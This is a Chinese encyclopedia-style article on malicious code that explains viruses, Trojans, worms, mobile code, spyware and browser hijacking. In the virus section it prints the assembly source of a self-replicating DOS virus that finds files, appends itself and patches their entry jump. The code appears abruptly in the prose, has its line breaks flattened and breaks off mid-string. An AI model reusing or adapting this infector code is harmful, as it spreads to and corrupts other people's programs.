恶意代码

来自ITwiki,开放的信息技术大百科

恶意代码(malicious code)是一种程序,它通过把代码在不被察觉的情况下镶嵌到另一段程序中,从而达到破坏被感染电脑数据、运行具有入侵性或破坏性的程序、破坏被感染电脑数据的安全性和完整性的目的。恶意软件还常常设计来向你的电子邮件列表中所有的朋友和同事的地址发送它自己。恶意软件的传染的结果包括浪费资源、破坏系统、破坏一致性,数据丢失和被窃并能让客户端的用户失去信心。

目录

按传播方式分类

按传播方式,恶意代码可以分成几类:病毒,木马,蠕虫,间谍软件和移动代码

病毒

主条目:计算机病毒

病毒一般都具有自我复制的功能, 同时,它们还可以把自己的副本分发到其他文件、程序或电脑中去。病毒一般镶嵌在主机的程序中,当被感染文件执行操作的时候(例如:打开一个文件,运行一个程序,点击邮件的附件等),病毒就会自我繁殖。 code segment ASSUME CS:CODE ,DS:CODE VIRUS:MOV AX,CS MOV DS,AX MOV ES,AX DB 0BBH GROW DW 0H LEA SI,BUFFER0[BX] MOV DI,100H MOV CX,3 REP MOVSB MOV AH,1AH LEA DX,DIR_BUFF[BX] INT 21H MOV AH,4EH MOV CX,20H LEA DX,SCH_STR[BX] INT 21H JC FAIL0 LEA DI,DIR_BUFF[BX] MOV CX,8 INC DI MOV AL,3FH REP STOSB MOV AH,4FH INT 21H FAIL0:JC FAIL1 LEA DI,SCH_STR[BX] LEA SI,FILE_NAME[BX] CLD MOV CX,13 REP MOVSB MOV AH,3DH MOV AL,2 LEA DX,FILE_NAME[BX] INT 21H FAIL1:JNC FAIL3 JMP FAIL2 FAIL3:MOV FHANDLE[BX],AX MOV AH,42H MOV AL,0 PUSH BX MOV BX,FHANDLE[BX] MOV CX,0 MOV DX,0 INT 21H POP BX MOV AH,3FH PUSH BX LEA DX,BUFFER0[BX] MOV BX,FHANDLE[BX] MOV CX,3 INT 21H POP BX MOV AH,42H MOV AL,2 PUSH BX MOV BX,FHANDLE[BX] MOV CX,0 MOV DX,0 INT 21H POP BX SUB AX,3 MOV BUFFER2[BX],AX ADD AX,103H MOV GROW[BX],AX MOV DX,FILE_LENGTH[BX] ADD AX,DX JC FAIL2 MOV AH,BUFFER0[BX] CMP AH,0E9H JNZ WRITE MOV AX,BUFFER2[BX] SUB AX,BUFFER3[BX] CMP AX,FILE_LENGTH[BX] JZ CLOSE WRITE:MOV AH,40H MOV DX,BX PUSH BX MOV DX,BX MOV CX,FILE_LENGTH[BX] MOV BX,FHANDLE[BX] INT 21H POP BX MOV AH,42H MOV AL,0 PUSH BX MOV BX,FHANDLE[BX] MOV CX,0 MOV DX,0 INT 21H POP BX MOV AH,40H LEA DX,BUFFER1[BX] PUSH BX MOV BX,FHANDLE[BX] MOV CX,3 INT 21H POP BX CLOSE: MOV AH,3EH PUSH BX MOV BX,FHANDLE[BX] INT 21H POP BX MOV AH,2CH INT 21H AND AH,02H

JZ FAIL2

CALL SHOW PUSH CS MOV AX,100H PUSH AX XOR AX,AX RETF

JMP SHORT 100

FAIL2: LEA AX,BACK[BX] SUB AX,0FEH NOT AX INC AX MOV BACK[BX],AX MOV AH,4CH INT 21H DB 0E9H BACK DW 0FFEBH SHOW:MOV AX,2 INT 10H MOV AH,9 LEA DX,STRING[BX] INT 21H RET STRING DB 0AH,0AH,0AH,0DH DB 'SWTJU VIRUS v0.01

特洛伊木马

主条目:特洛伊木马

这类恶意代码是根据古希腊神话中的木马来命名的,它从表面上看是正常的程序,但是实际上却隐含着恶意意图。一些木马程序会通过覆盖系统中已经存在的文件的方式存在于系统之中,同时它可以携带恶意代码,还有一些木马会以一个软件的身份出现(例如:一个可供下载的游戏),但它实际上是一个窃取密码的工具。这种病毒通常不容易被发现,因为它一般是以一个正常的应用的身份在系统中运行的。特洛伊木马可以分为以下三个模式:

  • 通常潜伏在正常的程序应用中,附带执行独立的恶意操作
  • 通常潜伏在正常的程序应用中,但是会修改正常的应用进行恶意操作
  • 完全覆盖正常的程序应用,执行恶意操作

大多数木马都可以使木马的控制者登录到被感染电脑上,并拥有绝大部分的管理员级控制权限。为了达到这个目的,木马一般都包括一个客户端和一个服务器端客户端放在木马控制者的电脑中,服务器端放置在被入侵电脑中,木马控制者通过客户端与被入侵电脑的服务器端建立远程连接。一旦连接建立,木马控制者就可以通过对被入侵电脑发送指令来传输和修改文件。通常木马所具备的另一个是发动DoS(拒绝服务)攻击。

还有一些木马不具备远程登录的功能。它们中的一些的存在只是为了隐藏恶意进程的痕迹,例如使恶意进程不在进程列表中显示出来。另一些木马用于收集信息,例如被感染电脑的密码;木马还可以把收集到的密码列表发送互联网中一个指定的邮件帐户中。

蠕虫

是一种能在没有任何用户动作的情况下自动传染计算机的病毒变形。蠕虫不修改文件, 而是常驻在内存里并复制自己。蠕虫使用操作系统的一部分,这部分对于用户来说是自动且无形的。通常只有在它的无法控制的疯狂复制占用了系统资源使得其他的任务缓慢甚至停滞的情况下才会发现它们。蠕虫的自我复制不象其他的病毒,它可以自动创建与它的功能完全相同的副本,并在没人干涉的情况下自动运行。蠕虫是通过系统存在的漏洞和设置的不安全性(例如:设置共享)来进行入侵的。它的自身特性可以使它以及快的速度传输(在几秒中内从地球的一端传送到另一端)。其中比较典型的有Blaster和SQL Slammer。

移动代码

移动代码是能够从主机传输到客户端计算机上并执行的代码,它通常是作为病毒,蠕虫,或是特洛伊木马的一部分被传送到客户计算机上的。另外,移动代码可以利用系统的漏洞进行入侵,例如非法的数据访问和盗取root帐号。通常用于编写移动代码的工具包括Java appletsActiveXJavaScript,和VBScript

按行为分类

依据恶意代码的行为,可以分为病毒、间谍软件、浏览器劫持几类。

病毒

由于设计者的目的不同,病毒也拥有不同的功能,一些病毒只是用于恶作剧,而另一些则是以破坏为目的,还有一些病毒表面上看是恶作剧病毒,但实际上隐含破坏功能。病毒往往会造成重要数据丢失、系统崩溃甚至硬件损坏。著名的CIH病毒就是以发作后损坏破坏主板BIOS而闻名的。

间谍软件

主条目:间谍软件

间谍软件是放在你的计算机中能秘密随收集信息的并把它们传给广告商或其他相关人的程序。间谍软件可以向软件病毒一样进入计算机或因为安装新的程序而进入计算机。虽然没有恶意的倾向,间谍软件经常会在没有你的同意或者你没有意识到的情况下,通常是作为驱动程序下载或由于点击一些一个欺骗的弹出式窗口选项,被安装在你的电脑内。同样的,广告软件,通常包括间谍软件的成分,也可以认为是恶意软件。

浏览器劫持

主条目:浏览器劫持

浏览器劫持是修改你的计算机的浏览器设置的程序以使得你会重订想到你并不想访问的网站的程序。多数浏览器劫持修改访问过他们的人的首页和搜索页缺省值, 这些网站花钱购买这项服务以增加他们的访问率。更加恶劣的浏览器劫持行为通常为:增加为色情的网站书签到用户的收藏夹; 导致色情网站窗口迅速的弹出使得用户来不及点击关闭它们;并且在他们不注意的输错了URL或者忽略了www前缀的时候重定向用户到色情站点。恶劣的浏览器劫持代码无疑会同样的减慢你的机器速度甚至导致浏览器崩溃。